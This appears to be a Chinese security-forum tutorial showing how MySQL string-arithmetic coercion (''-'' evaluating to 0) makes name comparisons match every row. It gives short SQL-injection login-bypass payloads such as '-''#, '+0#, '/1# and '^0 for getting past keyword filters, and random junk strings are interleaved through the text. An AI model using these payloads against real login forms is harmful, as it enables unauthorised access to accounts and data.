找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1936|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我们先来看这样一个场景。
2 q# U; `: `8 N$ O/ m有以下表结构:
2 R  G& E$ s+ o4 Q5 n* X( }
5 o5 y$ U4 Z+ j5 @. wmysql> desc admin;4 {, Y5 x# \# r5 ^* L2 O
+----------+--------------+------+-----+---------+----------------+/ p# R9 f) v: U: h
| Field    | Type         | Null | Key | Default | Extra          |
# t0 D! W$ Z% m3 m+----------+--------------+------+-----+---------+----------------+
  J4 y% j8 _6 K| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |, F6 M$ D  h7 @. @  C+ N' S
| name     | char(32)     | NO   | UNI | NULL    |                |( y: t2 G, N" z+ g* z8 {' E$ p" K
| password | char(32)     | NO   | UNI | NULL    |                |6 U9 n, L7 b& ~, V
+----------+--------------+------+-----+---------+----------------+
7 g4 {1 f5 {) {. f) ~3 Z3 rows in set (0.00 sec)9 y1 a. p  N! W2 ~# b1 ^# A
执行select * from admin;,成功返回所有记录内容。8 F2 h+ l7 ]) j# i
3 ^3 ]& P9 J4 a7 f- J4 L

9 a9 o( J4 b6 K; T3 {# k+----+--------+----------------------------------+
. z$ P0 U% J4 T& Z7 ]0 e6 V| id | name   | password                         |
7 ~; K! ~& |  q- }+----+--------+----------------------------------+
% ^1 C% i1 b% t0 d|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
: @; V" k, z/ g: T# H; K4 K|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
9 r2 f# S7 U6 y9 U. u|  4 | n00b   | ff80e8508d39047460921792273533a4 |9 I% u0 G; A6 {" k4 v8 k+ m
+----+--------+----------------------------------+4 l8 V3 Y* W9 e2 [
3 rows in set (0.00 sec)2 o) S( D$ W  {5 ^  x" B; m
执行select * from admin where name=”;,没有匹配到任何记录。
2 A  |3 g4 V# P# q. w- t2 i( B
* ?* }7 p" P- z) k3 \+ W% u( Qmysql> select * from admin where name = '';
9 o  c/ c7 h- O1 I: i6 lEmpty set (0.00 sec)
% i; K% k2 L9 \8 [0 i/ |2 O" X0 [那么我们来执行select * from admin where name = ”-”;
" q  ]: |; i& r  v$ _
  J, \+ ^  Q1 `+ Q/ u: J  D# r0 E! }- {8 g
+----+--------+----------------------------------+8 h  y' E, C, \
| id | name   | password                         |
; h5 l5 Q8 w6 G  a+----+--------+----------------------------------+
8 [3 D& a: p* ||  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
, J3 R7 G4 F) s) J! n- c" }1 }; S  H. l( ]|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |$ R) @2 b/ |  M) Q# r: l& i
|  4 | n00b   | ff80e8508d39047460921792273533a4 |; ?8 ~6 z. w; Z! S: |
+----+--------+----------------------------------+
7 g- w. n, g5 T3 rows in set, 3 warnings (0.00 sec)
9 Z7 Q4 E4 P: N1 n+ c* M可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: & u' Z* o9 s1 x, K, R
- P( I7 N. s3 N2 ?) O# n: N
mysql> show warnings;
2 j: T( J' ~9 ^7 @7 V! |+---------+------+------------------------------------------3 v0 _5 R9 _" b
| Level   | Code | Message
5 `& m" Y# ~8 J8 ~: N8 C; S+---------+------+------------------------------------------( V9 ^2 i; z7 }2 ?8 X
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
* N* K* `; q# a% [5 {| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s( z0 N+ {7 o; Y0 n, i' [: a
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b8 s7 D5 N0 s; r) m! l* C1 g% L
+---------+------+------------------------------------------) ^8 Y+ T' `3 G1 t" B9 y; ?/ c
3 rows in set (0.00 sec)6 `% g, L2 \. k7 M3 r8 v; ?
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
9 t8 }8 P# w2 U" |$ z
& ~7 H& d. r0 [  W& C$ wmysql> select ''-'';* `' {; S( P2 p8 o3 k5 `4 I( Q+ k" E
+-------+! t6 W( @. O% [* G- E# W6 \4 _* e
| ''-'' |+ ]/ H/ D# Z" h2 c# h1 Z
+-------+
1 v( o, z- E& i; [2 w% W|     0 |
, a1 z1 _2 z* A+-------+
3 w( Q: p1 Z) z) j8 @" y! b2 h1 row in set (0.00 sec)  b4 ~. L! _8 M6 g
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: : f* r. P5 `9 y
0 v- E, a1 d$ U* k
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);2 f+ Y- }; u5 A
+-----------------------------------------------------+: Z& D! v3 S5 i( Y1 [) `  _% Y
| CAST((select name from admin limit 1,1) as DECIMAL) |* s# A$ Y! Q$ j( [7 X3 V
+-----------------------------------------------------+
( D0 \2 ~4 j5 v, j! S|                                                   0 |( }1 |. b* q. p4 e
+-----------------------------------------------------+
9 u# T1 r, B. i2 P1 row in set, 1 warning (0.00 sec)
0 N" M7 b' r" h$ j! D' x" \6 m因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ( p# D2 p/ ?7 x
, N9 N; S& O4 W. \: V
SQL注入场景: http://www.sqlzoo.net/hack/ 3 J1 B% w' _7 v) _# P5 i% P

7 U% @2 O" j. {; P
+ `; V, z1 _& L1 j) Q" N0 w! j$ f' `% h9 P% o& O" s
- U9 r# p  e6 t2 G* d5 O
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
0 q% r3 |: o/ C+ {  C6 N5 ^! `3 Y2 U% c
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
+ I) Y0 f- w. C( |7 M; I" z) O  `5 @5 F5 i; S* C9 x

1 b& _2 T# q- m5 n4 G6 Q" o2 ]! ^, a9 k
/ C. A9 Z* {3 [9 D9 M
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
# x3 w! H3 h9 v+ j7 b5 E, ?( ]  Q$ {& ^
   " _6 w( d) c) q) D+ X

) s3 ?" G! Z+ a) ~* Y除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
; w5 c' ?- F6 ^: i9 s' b; }5 A$ r6 i# x5 {# s3 z% G. c9 [
6 g; ~  h2 G& I- `! @$ z" n9 x
mysql> select ''/1;0 U0 x% k$ ?4 m
+------+- H+ u  `- w4 K2 t  q; x8 Z
| ''/1 |
4 w+ Y1 L! A+ ~$ p+------+0 S9 C. x4 M; r" e  p
|    0 |$ q' R' @' q, E5 p
+------+
, ]. Y4 S& j. L- F: u5 y9 k1 row in set (0.00 sec)  z4 V0 t  M: S$ I
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  4 I& f" \9 ]1 H" l- C

+ S% `4 {2 z  w. q; q0 j利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
5 |) c9 |  v) G* s( P+ Q0 p, {  J* z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表